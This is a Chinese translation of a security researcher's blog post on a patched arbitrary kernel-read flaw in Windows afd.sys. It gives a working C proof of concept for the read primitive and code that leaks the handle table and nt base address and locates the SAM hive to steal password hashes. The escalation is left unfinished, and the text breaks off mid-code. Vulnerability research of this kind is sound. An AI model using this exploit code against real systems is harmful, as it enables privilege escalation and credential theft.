利用Windows内核任意读漏洞的技术探索

本文详细分析了Windows内核中afd.sys驱动的一个任意地址读取漏洞,探讨了利用该漏洞读取内核内存的技术细节,包括如何结合其他技术实现本地权限提升,并分享了作者在漏洞利用过程中遇到的挑战和未解决的问题。

尝试利用Windows内核任意读漏洞 | STAR Labs

引言

我最近发现了一个非常有趣的内核漏洞,允许读取任意内核模式地址。遗憾的是,该漏洞已在Windows 21H2(OS Build 22000.675)中修补,且我不确定其分配的CVE编号。在这篇简短的博客文章中,我将分享尝试利用此漏洞的历程。尽管最终未能完成利用,但我决定与大家分享。这也是我基于此讨论寻找答案的尝试。

漏洞详情

获取任意地址读取原语

漏洞位于Windows的辅助功能驱动程序(afd.sys)中。该驱动程序通过DeviceIoControl调用将tcpip.sys的功能暴露给用户模式。以下调用堆栈显示了创建UDP套接字时发生的情况。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
0: kd> k
 # Child-SP          RetAddr               Call Site
00 ffff8388`55f44238 fffff805`10a1a4b8     tcpip!UdpCreateEndpoint
01 ffff8388`55f44240 fffff805`11bc89a7     tcpip!UdpTlProviderEndpoint+0x38
02 ffff8388`55f44290 fffff805`11c21d88     afd!AfdTLCreateEndpoint+0x93
03 ffff8388`55f44310 fffff805`11bc8169     afd!AfdCreate+0x2f0
04 ffff8388`55f44430 fffff805`0b6f68d5     afd!AfdDispatch+0x59
05 ffff8388`55f44470 fffff805`0bb09557     nt!IofCallDriver+0x55
06 ffff8388`55f444b0 fffff805`0bb6a922     nt!IopParseDevice+0x897
07 ffff8388`55f44670 fffff805`0bb69d91     nt!ObpLookupObjectName+0x652
08 ffff8388`55f44810 fffff805`0bbd029f     nt!ObOpenObjectByNameEx+0x1f1
09 ffff8388`55f44940 fffff805`0bbcfe79     nt!IopCreateFile+0x40f
0a ffff8388`55f449e0 fffff805`0b829078     nt!NtCreateFile+0x79
0b ffff8388`55f44a70 00007ffa`5a904954     nt!KiSystemServiceCopyEnd+0x28
0c 000000a3`9932f358 00007ffa`572888d7     ntdll!NtCreateFile+0x14
0d 000000a3`9932f360 00007ffa`57288264     mswsock!SockSocket+0x567
0e 000000a3`9932f550 00007ffa`5a55c295     mswsock!WSPSocket+0x234
0f 000000a3`9932f650 00007ffa`5a5648b1     WS2_32!WSASocketW+0x175
*** WARNING: Unable to verify checksum for afd.exe
10 000000a3`9932f740 00007ff6`8167844f     WS2_32!WSASocketA+0x61

在Windows上,套接字句柄只是由Afd.sys创建的FILE_OBJECT句柄。漏洞位于afd!AfdTliIoControl内部。

在此函数中,一段代码分配了一个缓冲区,并将用户控制的地址复制到该缓冲区中。

1
2
3
4
5
6
7
8
Request->Irp = Irp;
BufferSize = Request->Size;
if ( BufferSize )
{
  v32 = ExAllocatePool2(0x61, BufferSize, 'idfA');
  Request->Buffer = v32;
  memmove(v32, Request->UserControlAddress, Request->Size);
}

没有对Request->UserControlAddress进行检查,因此我们可以将其设置为任意地址值。Microsoft通过添加对MmUserProbeAddress值的检查来修补此漏洞。

利用

为了利用此漏洞,我需要找出Request->Buffer的使用位置。通过调试,我发现该函数会根据套接字类型和DeviceIoControl输入缓冲区中的其他值,将Request->Buffer传递给tcpip.sys中的其他函数。在IDA的函数窗口中放置IoControl会得到以下函数名称:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
RawIoControlEndpoint
RawTlProviderIoControlEndpoint
TcpIoControlEndpoint
TcpIoControlListener
TcpIoControlTcb
TcpTlConnectionIoControlEndpoint
TcpTlEndpointIoControlEndpoint
TcpTlEndpointIoControlEndpointCalloutRoutine
TcpTlListenerIoControlEndpoint
TcpTlProviderIoControl
TlDefaultRequestIoControl_0
UdpIoControlEndpoint
UdpTlProviderIoControl
UdpTlProviderIoControlEndpoint

浏览所有不同的函数和分支后,似乎Request->Buffer的内容经过了充分检查。在查看时,以下函数引起了我的注意:

1
2
3
4
TcpGetSockOptEndpoint
TcpSetSockOptEndpoint
UdpGetSockOptEndpoint
UdpSetSockOptEndpoint

在POSIX中,套接字API setsockopt和getsockopt具有以下原型:

1
2
int setsockopt(int socket, int level, int option_name, const void *option_value, socklen_t option_len);
int getsockopt(int sockfd, int level, int optname, void *restrict optval, socklen_t *restrict optlen);

这两个函数可用于获取和设置套接字的各种选项。以下是setsockopt调用的堆栈跟踪。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
 # Child-SP          RetAddr               Call Site
00 ffff8388`534457a8 fffff805`11bd37dc     afd!AfdTliIoControl
01 ffff8388`534457b0 fffff805`0b6f68d5     afd!AfdDispatchDeviceControl+0x7c
02 ffff8388`534457e0 fffff805`0bb638f2     nt!IofCallDriver+0x55
03 ffff8388`53445820 fffff805`0bb636d2     nt!IopSynchronousServiceTail+0x1d2
04 ffff8388`534458d0 fffff805`0bb636d2     nt!IopXxxControlFile+0xc82
05 ffff8388`53445a00 fffff805`0b829078     nt!NtDeviceIoControlFile+0x56
06 ffff8388`53445a70 00007ffa`5a903f94     nt!KiSystemServiceCopyEnd+0x28
07 00000075`cc5ef678 00007ffa`57289479     ntdll!NtDeviceIoControlFile+0x14
08 00000075`cc5ef680 00007ffa`5a5618d9     mswsock!WSPSetSockOpt+0x2e9

我发现在setsockopt中,调用Request->Buffer包含option_value。如果我们将Request->Buffer指向内核地址,该地址的值将被视为套接字option_value,并存储在内核内存中的某个位置。之后,我们可以通过getsockopt调用读取该值。经过一些调试,我提出了以下POC,可以读取任意有效的内核内存。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
DWORD read_dword(UINT64 addr) {
  WSADATA wsd;
  int status;
  status = WSAStartup(MAKEWORD(2, 2), &wsd);

  SOCKET s = WSASocketA(AF_INET, SOCK_DGRAM, IPPROTO_UDP, NULL, 0, WSA_FLAG_REGISTERED_IO);
  
  void* inbuffer = VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  void* outbuffer = VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

  size_t size = 0x40;

  *(DWORD*)((char*)inbuffer + 4) = 0x11;
  *(UINT64*)((char*)inbuffer + 8) = 2;
  *(UINT64*)((char*)inbuffer + 16) = (UINT64)addr;
  *(UINT64*)((char*)inbuffer + 24) = size;
  *(char*)((char*)inbuffer + 12) = 1;
  *(int*)inbuffer = 1;

  DWORD n = 0;
  status = DeviceIoControl((HANDLE)s, 0x120BF, inbuffer, size, NULL, 0, &n, NULL);

  *(int*)inbuffer = 2;
  status = DeviceIoControl((HANDLE)s, 0x120BF, inbuffer, size, outbuffer, size, &n, NULL);
  // printf("leak: %x\n", *(int*)outbuffer);
  return *(DWORD*)outbuffer;
}

尝试实现LPE

我们首先需要知道一个有效的内核地址来读取内核内存。此漏洞可以与其他内存损坏漏洞结合使用以实现LPE,但单独使用时,似乎不太有用,直到我在Twitter上看到此讨论,其中@jonasLyk提到,如果有人可以使用其漏洞从内核内存读取C:\Windows\System32\config\SAM,则可能实现LPE。后来我还发现,如果我们的进程具有中等完整性,我们可以调用NtQuerySystemInformation来读取内核的句柄表。在句柄表中,有指向所有进程对象的指针。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
typedef struct _SYSTEM_HANDLE
{
	PVOID Object;
	HANDLE UniqueProcessId;
	HANDLE HandleValue;
	ULONG GrantedAccess;
	USHORT CreatorBackTraceIndex;
	USHORT ObjectTypeIndex;
	ULONG HandleAttributes;
	ULONG Reserved;
} SYSTEM_HANDLE, *PSYSTEM_HANDLE;

typedef struct _SYSTEM_HANDLE_INFORMATION_EX
{
	ULONG_PTR HandleCount;
	ULONG_PTR Reserved;
	SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION_EX, *PSYSTEM_HANDLE_INFORMATION_EX;

ULONG len = 20;
NTSTATUS status = (NTSTATUS)0xc0000004;
PSYSTEM_HANDLE_INFORMATION_EX pHandleInfo = NULL;

do {
  len *= 2;
  pHandleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)GlobalAlloc(GMEM_ZEROINIT, len);
  status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)64, pHandleInfo, len, &len);
} while (status == (NTSTATUS) 0xc0000004);

使用ProcessHacker,我们可以看到一些句柄与SAM文件相关。

Section是Windows上内存映射文件的内核对象。我的第一个想法是在内核内存中定位与SAM文件对应的节对象,并查看它是否包含指向文件内容的指针。Vergilius Project提供了一个交互式类型搜索,非常方便。我们也可以使用windbg查看此类类型。节对象具有类型_SECTION且ObjectTypeIndex == 45。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
2: kd> dt _SECTION
nt!_SECTION
   +0x000 SectionNode      : _RTL_BALANCED_NODE
   +0x018 StartingVpn      : Uint8B
   +0x020 EndingVpn        : Uint8B
   +0x028 u1               : <unnamed-tag>
   +0x030 SizeOfSection    : Uint8B
   +0x038 u                : <unnamed-tag>
   +0x03c InitialPageProtection : Pos 0, 12 Bits
   +0x03c SessionId        : Pos 12, 19 Bits
   +0x03c NoValidationNeeded : Pos 31, 1 Bit

我们可以通过_SECTION.u1.ControlArea.FilePointer->FileName读取节名称。FileName具有EX_FAST_REF类型,这只是一个普通指针,其前4位嵌入了RefCnt。

1
2
3
4
5
6
7
8
9
struct _EX_FAST_REF
{
    union
    {
        VOID* Object;                                                       //0x0
        ULONGLONG RefCnt:4;                                                 //0x0
        ULONGLONG Value;                                                    //0x0
    };
}; 

以下代码允许我从内核内存读取节文件名:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
void leak_section_name() {
	ULONG len = 20;
	NTSTATUS status = (NTSTATUS)0xc0000004;
	PSYSTEM_HANDLE_INFORMATION_EX pHandleInfo = NULL;
	
	do {
		len *= 2;
		pHandleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)GlobalAlloc(GMEM_ZEROINIT, len);
		status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)64, pHandleInfo, len, &len);
	} while (status == (NTSTATUS) 0xc0000004);

	if (status != (NTSTATUS)0x0) {
		printf("NtQuerySystemInformation failed with error code 0x%X\n", status);
		return;
	}

	for (int i = 0; i < pHandleInfo->HandleCount; i++) {
		SYSTEM_HANDLE SystemHandle = pHandleInfo->Handles[i];
		HANDLE pid = SystemHandle.UniqueProcessId;
		HANDLE HandleValue = SystemHandle.HandleValue;
		USHORT ObjectTypeIndex = SystemHandle.ObjectTypeIndex;
		PVOID Object = SystemHandle.Object;

		UINT64 FilePointer = 0;
		if (ObjectTypeIndex == 45 && pid == (HANDLE)4) {
			UINT64 ControlArea = read_qword((UINT64)Object + 0x28);
			P_DUMP(ControlArea);
			FilePointer = read_qword((UINT64)ControlArea + 0x40) & (~0xf);
			P_DUMP(FilePointer);
			WCHAR *name = read_filename(FilePointer);
			if (wcsstr(name, L"config\\SAM") != NULL) {
				break;
			}
		}
	}
}

问题是我无法在Section对象中找到指向文件内容的指针。

Windows Internals, Part 1

一个节可以被一个进程或许多进程打开。换句话说,节对象不一定等同于共享内存。节对象可以连接到磁盘上的打开文件(称为映射文件)或提交的内存(以提供共享内存)。

节对象不包含指向文件内容的指针。它包含原型PTE,其中包含指向物理内存页的PFN。

经过一些谷歌搜索,我发现我不是第一个尝试这样做的人(显然)。这项研究指出,您可以使用注册表对象转储SAM。我完全按照论文中描述的步骤操作。事情进展顺利,直到现实打击了我。我意识到我无法解引用从转储进程获得的指针。它看起来像一个用户模式指针。经过进一步的谷歌搜索,我找到了这篇详细的博客文章,解释了情况。PermanentBinAddress曾经是一个内核指针,现在是注册表进程的用户模式指针。我不确定这是安全补丁还是某种优化。我们可以读取内核内存,但不能读取另一个进程的内存;因此,这破坏了我们的利用。

每次进程调用NtQueryKeyValue时,内核使用CmpAttachToRegistryProcess函数将其上下文切换到注册表进程。然后它将注册表内容复制到一个临时缓冲区中。然后它切换回来,并将内容从临时缓冲区复制到请求者进程中。如果注册表内容的大小大于0x40,临时缓冲区将由CmpAllocateTransientPoolWithTag函数分配,然后推入CmpBounceBufferLookaside(一个LookAsideList)。否则,临时缓冲区将在内核堆栈上。这创建了一个小窗口,我们可以与内核竞争以读取注册表内容。我们还可以通过调用LogonUserA导致lsass.exe读取SAM注册表。

1
2
3
4
void trigger_reg_read() {
	HANDLE Token;
	LogonUserA("bit", NULL, "dummypassword", LOGON32_LOGON_BATCH, LOGON32_PROVIDER_DEFAULT, &Token);
}

我们的目标是HKLM\SAM\SAM\Domains\Account\Users[userid]\f,其中包含用户的实际哈希。此键值数据长度始终大于0x40。因此,我们可以泄漏CmpBounceBufferLookaside以找到用于服务请求的块。

首先,使用句柄表,我们可以泄漏nt的基地址。我创建了一个TCP FILE_OBJECT,然后泄漏FileObject->DeviceObject->DriverObject->IRP_HANDLERS。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
UINT64 get_nt_base() {
	HANDLE hTargetHandle = CreateFileA("\\\\.\\Tcp", 0, 0, NULL, OPEN_EXISTING, 0, NULL);
	P_DUMP(hTargetHandle);
	UINT64 FileObject = 0;

	PSYSTEM_HANDLE_INFORMATION_EX HandleTable = get_hande_table();
	for (int i = 0; i < HandleTable->HandleCount; i++) {
		SYSTEM_HANDLE SystemHandle = HandleTable->Handles[i];
		HANDLE pid = SystemHandle.UniqueProcessId;

		if (pid == (HANDLE)GetCurrentProcessId()) {
			HANDLE HandleValue = SystemHandle.HandleValue;
			if (HandleValue == hTargetHandle) {
				FileObject = (UINT64)SystemHandle.Object;
			}
		}
	}

	P_DUMP(FileObject);
	UINT64 DeviceObject = read_qword(FileObject + 8);
	UINT64 DriverObject = read_qword(DeviceObject + 8);
	UINT64 IopInvalidDeviceRequest = read_qword(DriverObject + 
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计